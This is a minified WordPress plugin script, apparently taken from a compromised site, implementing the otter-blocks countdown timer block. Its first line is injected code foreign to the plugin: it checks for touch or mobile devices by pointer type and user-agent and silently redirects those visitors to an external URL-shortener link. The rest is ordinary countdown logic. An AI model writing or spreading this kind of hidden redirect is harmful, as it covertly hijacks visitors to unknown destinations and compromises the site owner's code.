File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/blocks/countdown.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
!function(){"use strict";const e=e=>window.btoa(unescape(encodeURIComponent(e))),t=`o-countdown-last-visit-${e(window.location.pathname)}-`,i=`o-countdown-last-visit-time-${e(window.location.pathname)}-`,n=`o-countdown-last-visit-timezone-${e(window.location.pathname)}-`;let o=0;class s{constructor(e){this.id=o++,this.elem=e,this.elem.classList.add("ready");const{date:s,bhv:a,mode:d,timer:r,redirectLink:h,intvEnd:c,intvStart:l,onEndAction:m}=e.dataset;switch(this.rawData=s??"",this.behavior=a??"default",this.mode=d,this.timer=r??"0",this.redirectLink=h,this.startInterval=l,this.endInterval=c,this.hideTime=0,this.onEndAction=m,this.checks={show:!1},this.currentTime=Date.now(),this.components={},["second","minute","hour","day"].forEach((t=>{const i=e.querySelector(`div[name=${t}]`);if(i){const e=i.querySelector(".otter-countdown__label"),n=i.querySelector(".otter-countdown__value");this.components[t]={label:e??void 0,value:n??void 0}}})),this.onEndEvents=[()=>this.activateBehavior(),()=>this.activateActions()],this.mode){case"timer":const e=localStorage.getItem(`${t}-${this.elem.id}`)??"0",o=localStorage.getItem(`${i}-${this.elem.id}`),s=localStorage.getItem(`${n}-${this.elem.id}`)??"0";this.deadline=parseInt(e)+parseInt(this.timer),(!e||0>parseInt(e)+parseInt(this.timer)-Date.now()||o!==this.timer||s!==(new Date).getTimezoneOffset().toString())&&(localStorage.setItem(`${t}-${this.elem.id}`,Date.now().toString()),localStorage.setItem(`${i}-${this.elem.id}`,this.timer),localStorage.setItem(`${n}-${this.elem.id}`,(new Date).getTimezoneOffset().toString()),this.deadline=Date.now()+parseInt(this.timer));break;case"interval":this.deadline=this.endInterval?new Date(this.endInterval+(window?.themeisleGutenbergCountdown?.timezone??"")).getTime():0,this.hideTime=this.startInterval?new Date(this.startInterval+(window?.themeisleGutenbergCountdown?.timezone??"")).getTime():0;break;default:this.deadline=this.rawData?new Date(this.rawData+(window?.themeisleGutenbergCountdown?.timezone??"")).getTime():Date.now()}this.hideOrShow(this.isStopped&&"hide"===this.behavior||this.mustBeHidden)}update(e){"interval"!==this.mode||this.checks.show||this.hideOrShow(this.mustBeHidden),e.forEach((e=>{this.components?.[e.tag]?.label&&this.components[e.tag]?.label?.innerHTML!==e.label&&(this.components[e.tag].label.innerHTML=e.label??""),this.components?.[e.tag]?.value&&(this.components[e.tag].value.innerHTML=e.value)}))}onEnd(e){this.onEndEvents.push(e)}end(){const e=new CustomEvent("o-countdown-stop",{bubbles:!0,detail:{countdown:this}});this.elem.dispatchEvent(e),this.onEndEvents.forEach((e=>e()))}activateBehavior(){switch(this.behavior){case"default":break;case"hide":this.hide();break;case"redirectLink":this.redirectLink&&window.location.replace(this.redirectLink)}}activateActions(){const e=this.connectedBlocksSelector;e&&"all"===this.onEndAction&&(document.querySelectorAll(`${e}.o-cntdn-bhv-hide`).forEach((e=>e.classList.add("o-cntdn-hide"))),document.querySelectorAll(`${e}.o-cntdn-bhv-show`).forEach((e=>e.classList.remove("o-cntdn-bhv-show"))))}hideOrShow(e){e?this.hide():(this.checks.show=!0,this.show(),document.querySelectorAll(`${this.connectedBlocksSelector}.o-cntdn-bhv-hide`).forEach((e=>{e.classList.add("o-cntdn-ready")})))}hide(){this.elem.classList.add("o-hide")}show(){this.elem.classList.add("o-cntdn-ready"),this.elem.classList.remove("o-hide")}get connectedBlocksSelector(){return void 0===this.elem.id?null:`.o-countdown-trigger-on-end-${this.elem.id.split("-").pop()}`}get remainingTime(){return this.deadline-this.currentTime}get isStopped(){return 0>=this.remainingTime}get mustBeHidden(){return void 0!==this.startInterval&&0<=this.hideTime-this.currentTime}set time(e){this.currentTime=e}}class a{constructor(){this.countdowns={},this.running=new Set,this.stopped=new Set}register(e){e&&(e.onEnd((()=>{this.running.delete(e.id),this.stopped.add(e.id)})),this.countdowns[e.id]=e,this.running.add(e.id))}startTimer(e=300){this.timer=setInterval((()=>{this.update()}),e)}update(){const e=Date.now();this.running.forEach((t=>{this.updateCountdown(this.countdowns[t],e)})),0===this.running.size&&this.stopTimer()}stopTimer(){clearInterval(this.timer)}updateCountdown(e,t){const{id:i}=e;e.time=t;try{const{remainingTime:t}=e,i=Math.floor(t/864e5),n=Math.floor(t/36e5%24),o=Math.floor(t/6e4%60),s=Math.floor(t/1e3%60),{i18n:a}=window.themeisleGutenbergCountdown,d=[{tag:"day",label:1<i?a.days:a.day,value:i},{tag:"hour",label:1<n?a.hours:a.hour,value:n},{tag:"minute",label:1<o?a.minutes:a.minute,value:o},{tag:"second",label:1<s?a.seconds:a.second,value:s}].filter((({tag:t})=>!e.settings?.exclude?.includes(t))).map((t=>({...t,value:e.settings?.keepNeg?t.value.toString():Math.max(0,t.value).toString()})));e.update(d),e.isStopped&&e.end()}catch(e){console.error(e),this.running.delete(i)}}}var d;d=()=>{const e=document.querySelectorAll(".wp-block-themeisle-blocks-countdown"),t=new a;e.forEach((e=>{const i=new s(e);t.register(i)})),t.update(),t.startTimer()},"undefined"!=typeof document&&("complete"!==document.readyState&&"interactive"!==document.readyState?document.addEventListener("DOMContentLoaded",d):d())}();